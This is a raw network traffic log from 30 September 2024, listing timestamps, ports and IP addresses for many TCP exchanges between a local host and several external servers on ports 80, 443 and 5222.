Sep 30, 2024 12:21:06.828850985 CEST	50296	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:06.828974009 CEST	50295	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:06.833580971 CEST	80	50296	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:06.833666086 CEST	5222	50295	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:06.833920956 CEST	50296	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:06.838608027 CEST	80	50296	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:06.848882914 CEST	50297	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:06.848920107 CEST	443	50297	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:06.849060059 CEST	50297	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:06.850142956 CEST	50297	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:06.850157022 CEST	443	50297	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:06.859397888 CEST	443	50292	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.860740900 CEST	5222	50291	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:06.864767075 CEST	80	50293	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:06.884102106 CEST	80	50258	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:06.885210991 CEST	50258	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:06.928355932 CEST	50295	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:06.928549051 CEST	50294	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.929192066 CEST	50296	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:06.942271948 CEST	50298	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:06.943147898 CEST	50299	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.943203926 CEST	443	50299	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.943281889 CEST	50299	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.944602013 CEST	50299	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.944623947 CEST	443	50299	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.945554972 CEST	50300	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:06.947205067 CEST	5222	50298	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:06.949168921 CEST	50298	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:06.949407101 CEST	50298	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:06.950386047 CEST	80	50300	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:06.954114914 CEST	5222	50298	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:06.954200983 CEST	50300	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:06.954361916 CEST	50300	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:06.955471039 CEST	50297	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:06.959181070 CEST	80	50300	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:06.959234953 CEST	50300	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:06.964131117 CEST	80	50300	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:06.975404978 CEST	443	50294	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.976784945 CEST	80	50296	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:06.976797104 CEST	5222	50295	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:06.989228010 CEST	80	50261	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:06.990427971 CEST	50261	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:07.003408909 CEST	443	50297	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:07.035681963 CEST	50298	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:07.035824060 CEST	50300	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:07.036019087 CEST	50299	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.038292885 CEST	50301	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:07.038415909 CEST	50302	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.038466930 CEST	443	50302	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.038551092 CEST	50302	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.039542913 CEST	50303	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:07.039684057 CEST	50302	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.039699078 CEST	443	50302	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.043106079 CEST	5222	50301	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:07.043292999 CEST	50301	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:07.043483019 CEST	50301	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:07.044298887 CEST	80	50303	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:07.044363022 CEST	50303	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:07.044476032 CEST	50303	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:07.046812057 CEST	5222	50290	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:07.046878099 CEST	50290	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:07.048228025 CEST	5222	50301	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:07.049221992 CEST	80	50303	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:07.049274921 CEST	50303	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:07.054109097 CEST	80	50303	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:07.068445921 CEST	50304	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.068469048 CEST	443	50304	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:07.068548918 CEST	50304	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.069617033 CEST	50304	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.069629908 CEST	443	50304	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:07.083410978 CEST	443	50299	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.084739923 CEST	80	50300	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:07.084753990 CEST	5222	50298	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:07.101330996 CEST	80	50264	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:07.101393938 CEST	50264	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:07.115890026 CEST	5222	50291	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:07.115958929 CEST	50291	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:07.134990931 CEST	443	50288	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.135078907 CEST	50288	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.135102987 CEST	50288	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.147572994 CEST	50301	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:07.147735119 CEST	50303	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:07.147967100 CEST	50302	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.150129080 CEST	50305	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:07.150255919 CEST	50306	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.150279045 CEST	443	50306	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.151252985 CEST	50307	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:07.151294947 CEST	50306	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.152390003 CEST	50306	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.152403116 CEST	443	50306	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.154937029 CEST	5222	50305	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:07.155010939 CEST	50305	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:07.155188084 CEST	50305	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:07.156012058 CEST	80	50307	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:07.156090021 CEST	50307	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:07.156202078 CEST	50307	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:07.159921885 CEST	5222	50305	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:07.160938025 CEST	80	50307	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:07.160984993 CEST	50307	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:07.165726900 CEST	80	50307	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:07.179313898 CEST	50304	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.195405006 CEST	443	50302	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.195566893 CEST	443	50292	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.195635080 CEST	50292	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.195652008 CEST	50292	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.196751118 CEST	80	50303	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:07.196763039 CEST	5222	50301	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:07.209245920 CEST	5222	50295	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:07.209296942 CEST	50295	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:07.209681988 CEST	80	50268	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:07.209733963 CEST	50268	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:07.223393917 CEST	443	50304	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:07.259763002 CEST	50305	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:07.259907007 CEST	50306	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.260329008 CEST	50307	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:07.261835098 CEST	50308	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:07.262964010 CEST	50309	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.262988091 CEST	443	50309	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.263057947 CEST	50309	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.264097929 CEST	50309	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.264106989 CEST	443	50309	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.264795065 CEST	50310	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:07.266580105 CEST	5222	50308	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:07.266652107 CEST	50308	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:07.266875029 CEST	50308	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:07.269623041 CEST	80	50310	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:07.269680977 CEST	50310	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:07.269821882 CEST	50310	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:07.271617889 CEST	5222	50308	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:07.274538040 CEST	80	50310	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:07.274590969 CEST	50310	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:07.279354095 CEST	80	50310	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:07.285721064 CEST	443	50294	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.285780907 CEST	50294	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.285795927 CEST	50294	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.292958021 CEST	50311	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.293008089 CEST	443	50311	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:07.293087006 CEST	50311	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.294286966 CEST	50311	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.294300079 CEST	443	50311	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:07.307400942 CEST	443	50306	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.308871031 CEST	5222	50305	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:07.308892012 CEST	80	50307	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:07.317451954 CEST	80	50272	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:07.317518950 CEST	50272	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:07.320976973 CEST	5222	50298	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:07.321027040 CEST	50298	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:07.324018955 CEST	443	50297	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:07.324094057 CEST	50297	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.324268103 CEST	50297	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.371691942 CEST	50308	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:07.371869087 CEST	50310	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:07.372200012 CEST	50309	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.373994112 CEST	50312	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:07.375165939 CEST	50313	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.375190020 CEST	443	50313	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.375256062 CEST	50313	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.375947952 CEST	50314	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:07.376521111 CEST	50313	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.376537085 CEST	443	50313	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.378770113 CEST	5222	50312	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:07.378828049 CEST	50312	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:07.379065037 CEST	50312	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:07.380728960 CEST	80	50314	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:07.380779982 CEST	50314	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:07.380960941 CEST	50314	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:07.383757114 CEST	5222	50312	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:07.385664940 CEST	80	50314	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:07.385711908 CEST	50314	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:07.387299061 CEST	50311	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.390471935 CEST	80	50314	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:07.399523973 CEST	443	50299	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.399588108 CEST	50299	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.399610043 CEST	50299	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.415395021 CEST	443	50309	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.416773081 CEST	80	50310	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:07.416791916 CEST	5222	50308	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:07.430125952 CEST	5222	50301	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:07.430170059 CEST	50301	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:07.431392908 CEST	443	50311	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:07.447892904 CEST	80	50275	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:07.447942019 CEST	50275	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:07.483520985 CEST	50312	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:07.483675003 CEST	50314	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:07.483805895 CEST	50313	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.485924006 CEST	50315	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.485965014 CEST	443	50315	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.486036062 CEST	50315	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.486057043 CEST	50316	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:07.487140894 CEST	50315	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.487152100 CEST	443	50315	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.487215042 CEST	50317	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:07.490834951 CEST	5222	50316	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:07.490897894 CEST	50316	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:07.491111040 CEST	50316	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:07.491947889 CEST	80	50317	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:07.492000103 CEST	50317	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:07.492122889 CEST	50317	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:07.495841026 CEST	5222	50316	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:07.496882915 CEST	80	50317	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:07.496927977 CEST	50317	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:07.499530077 CEST	50318	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.499553919 CEST	443	50318	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:07.499602079 CEST	50318	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.500727892 CEST	50318	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.500737906 CEST	443	50318	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:07.501652956 CEST	80	50317	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:07.503393888 CEST	443	50302	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.503459930 CEST	50302	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.503470898 CEST	50302	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.527395964 CEST	443	50313	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.528740883 CEST	80	50314	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:07.528815031 CEST	5222	50312	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:07.528990984 CEST	5222	50305	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:07.529037952 CEST	50305	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:07.539088964 CEST	443	50304	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:07.539156914 CEST	50304	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.539167881 CEST	50304	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.552434921 CEST	80	50279	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:07.552495003 CEST	50279	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:07.595993996 CEST	50316	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:07.596451998 CEST	50315	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.597002983 CEST	50317	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:07.599222898 CEST	50319	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.599261999 CEST	443	50319	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.599354029 CEST	50319	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.600414038 CEST	50319	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.600426912 CEST	443	50319	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.601202011 CEST	50320	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:07.602874041 CEST	50321	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:07.606054068 CEST	5222	50320	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:07.606142998 CEST	50320	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:07.606326103 CEST	50320	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:07.607687950 CEST	80	50321	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:07.607749939 CEST	50321	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:07.607878923 CEST	50321	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:07.611088991 CEST	5222	50320	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:07.612665892 CEST	80	50321	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:07.612718105 CEST	50321	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:07.615505934 CEST	443	50306	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.615600109 CEST	50306	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.615631104 CEST	50306	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.617453098 CEST	80	50321	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:07.620975971 CEST	50318	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.639400005 CEST	443	50315	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.644748926 CEST	80	50317	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:07.644761086 CEST	5222	50316	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:07.652730942 CEST	5222	50308	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:07.652901888 CEST	50308	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:07.663414001 CEST	443	50318	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:07.711250067 CEST	50320	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:07.711298943 CEST	50321	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:07.711621046 CEST	50319	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.713725090 CEST	50322	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:07.713844061 CEST	50323	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.713880062 CEST	443	50323	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.713939905 CEST	50323	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.714812994 CEST	50324	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:07.715152979 CEST	50323	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.715163946 CEST	443	50323	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.744107962 CEST	50325	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.744143963 CEST	443	50325	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:07.744215965 CEST	50325	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.745306969 CEST	50325	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.745320082 CEST	443	50325	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:07.755405903 CEST	443	50319	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.823139906 CEST	50323	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.825685978 CEST	50326	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:07.825759888 CEST	50327	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.825786114 CEST	443	50327	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.825864077 CEST	50327	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.827013969 CEST	50328	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:07.827274084 CEST	50327	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.827284098 CEST	443	50327	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.854640007 CEST	50325	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.867410898 CEST	443	50323	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.899399996 CEST	443	50325	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:07.911137104 CEST	80	50282	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:07.911273003 CEST	50282	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:07.911550999 CEST	5222	50312	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:07.911572933 CEST	80	50286	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:07.911618948 CEST	50312	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:07.911665916 CEST	50286	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:07.911945105 CEST	5222	50316	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:07.911956072 CEST	80	50282	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:07.912007093 CEST	50316	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:07.912046909 CEST	50282	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:07.912286997 CEST	5222	50322	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:07.912297964 CEST	80	50324	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:07.912344933 CEST	50322	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:07.912353039 CEST	5222	50326	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:07.912363052 CEST	80	50328	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:07.912384987 CEST	50324	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:07.912452936 CEST	50326	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:07.912476063 CEST	50328	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:07.912797928 CEST	50328	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:07.912887096 CEST	50326	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:07.915355921 CEST	443	50313	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.915429115 CEST	50313	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.915451050 CEST	50313	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.915898085 CEST	443	50311	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:07.915976048 CEST	50311	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.915976048 CEST	50311	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.916857958 CEST	80	50282	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:07.917576075 CEST	80	50328	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:07.917653084 CEST	50328	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:07.917737961 CEST	5222	50326	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:07.918976068 CEST	443	50309	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.919069052 CEST	50309	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.919083118 CEST	50309	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.922853947 CEST	80	50328	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:07.934111118 CEST	50326	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:07.934290886 CEST	50327	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.934999943 CEST	50328	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:07.937541008 CEST	50329	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:07.938975096 CEST	50330	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.939017057 CEST	443	50330	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.939095974 CEST	50330	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.940964937 CEST	50330	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.940989971 CEST	443	50330	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.942188025 CEST	50331	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:07.944298029 CEST	5222	50329	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:07.944446087 CEST	50329	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:07.945039988 CEST	50329	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:07.947263002 CEST	80	50331	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:07.947336912 CEST	50331	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:07.947541952 CEST	50331	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:07.949879885 CEST	5222	50329	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:07.952317953 CEST	80	50331	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:07.952389002 CEST	50331	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:07.952755928 CEST	80	50321	45.79.244.41	192.168.2.5
